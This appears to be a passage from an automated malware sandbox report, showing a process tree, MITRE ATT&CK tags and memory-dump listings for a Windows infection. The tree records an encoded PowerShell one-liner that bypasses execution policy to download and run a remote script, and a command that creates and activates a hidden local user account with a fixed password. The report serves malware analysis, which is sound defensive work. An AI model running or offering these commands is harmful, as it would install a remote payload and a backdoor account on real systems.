- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3044

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1856
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4060

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
1⤵
PID:200
- C:\Windows\system32\net.exe
  net user wgautilacc 111213
  2⤵
  PID:2824
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 111213
    3⤵
    PID:208
- C:\Windows\system32\net.exe
  net user wgautilacc /active:yes
  2⤵
  PID:3288
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc /active:yes
    3⤵
    PID:2120

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/300-132-0x00000128F0EA3000-0x00000128F0EA5000-memory.dmp

Filesize
8KB

Download
memory/300-147-0x00000128F0EA8000-0x00000128F0EA9000-memory.dmp

Filesize
4KB

Download
memory/300-137-0x00000128F0EA6000-0x00000128F0EA8000-memory.dmp

Filesize
8KB

Download
memory/300-153-0x00000128F1970000-0x00000128F1971000-memory.dmp

Filesize
4KB

Download
memory/300-131-0x00000128F0EA0000-0x00000128F0EA2000-memory.dmp

Filesize
8KB

Download
memory/300-152-0x00000128F15E0000-0x00000128F15E1000-memory.dmp

Filesize
4KB

Download
memory/300-129-0x00000128F10B0000-0x00000128F10B1000-memory.dmp

Filesize
4KB

Download
memory/300-126-0x00000128D8D30000-0x00000128D8D31000-memory.dmp

Filesize
4KB

Download
memory/300-145-0x00000128D8D70000-0x00000128D8D71000-memory.dmp

Filesize
4KB

Download
memory/2272-272-0x000001BB76C43000-0x000001BB76C45000-memory.dmp

Filesize
8KB

Download
memory/2272-273-0x000001BB76C46000-0x000001BB76C48000-memory.dmp

Filesize
8KB

Download
memory/2272-280-0x000001BB76C48000-0x000001BB76C4A000-memory.dmp

Filesize
8KB

Download
memory/2272-271-0x000001BB76C40000-0x000001BB76C42000-memory.dmp

Filesize
8KB

Download
memory/2304-235-0x000001CCF17C6000-0x000001CCF17C8000-memory.dmp

Filesize
8KB

Download
memory/2304-212-0x000001CCF17C3000-0x000001CCF17C5000-memory.dmp

Filesize
8KB

Download
memory/2304-210-0x000001CCF17C0000-0x000001CCF17C2000-memory.dmp

Filesize
8KB

Download
memory/3656-168-0x0000015E58D83000-0x0000015E58D85000-memory.dmp

Filesize
8KB

Download
memory/3656-167-0x0000015E58D80000-0x0000015E58D82000-memory.dmp

Filesize
8KB

Download
memory/3656-189-0x0000015E58D86000-0x0000015E58D88000-memory.dmp

Filesize
8KB

Download
memory/3664-117-0x0000020138A70000-0x0000020138A72000-memory.dmp

Filesize
8KB

Download
memory/3664-118-0x0000020138A73000-0x0000020138A75000-memory.dmp

Filesize
8KB

Download
memory/3664-120-0x0000020138A76000-0x0000020138A77000-memory.dmp

Filesize
4KB

Download
memory/3664-115-0x0000020138EB0000-0x00000201392D0000-memory.dmp

Filesize
4.1MB

Download
memory/3664-119-0x0000020138A75000-0x0000020138A76000-memory.dmp

Filesize
4KB

Download
memory/4060-430-0x0000029B6F968000-0x0000029B6F969000-memory.dmp

Filesize
4KB

Download
memory/4060-379-0x0000029B6F966000-0x0000029B6F968000-memory.dmp

Filesize
8KB

Download
memory/4060-374-0x0000029B6F963000-0x0000029B6F965000-memory.dmp

Filesize
8KB

Download
memory/4060-373-0x0000029B6F960000-0x0000029B6F962000-memory.dmp

Filesize
8KB

Download